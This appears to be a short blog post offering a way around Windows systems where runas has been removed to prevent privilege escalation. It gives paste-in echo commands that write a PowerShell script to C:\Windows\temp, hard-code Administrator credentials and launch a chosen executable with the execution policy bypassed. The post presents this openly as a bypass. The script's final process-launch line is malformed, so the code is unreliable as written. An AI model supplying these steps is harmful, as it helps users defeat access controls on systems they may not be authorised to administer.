Runas alternatives windows



To prevent privilege escalation, often the runas command is unavailable in Windows shells. To bypass this, the following may be pasted into a Powrshell or windows cmd to run a chosen command.

echo $secpasswd = ConvertTo-SecureString “PASSWORD-HERE” -AsPlainText -Force > c:\Windows\temp\runas.ps1
echo $mycreds = New-Object System.Management.Automation.PSCredential (“Administrator”, $secpasswd) >> c:\Windows\temp\runas.ps1
echo $computer = “NAME-OF-COMPUTER-HERE”  >> c:\Windows\temp\runas.ps1
echo ‘[System.Diagnostics.Process]::cmd /c (“C:\Windows\temp\FILE-TO-RUNE.exe”,””,$mycreds.Username, $mycreds.Password, $computer)’ >> c:\Windows\temp\runas.ps1
powershell -ExecutionPolicy Bypass -File c:\Windows\temp\runas.ps1

Alternatively, one may download a runas alternative – for example this one.

 

 

Leave a Reply

Your email address will not be published. Required fields are marked *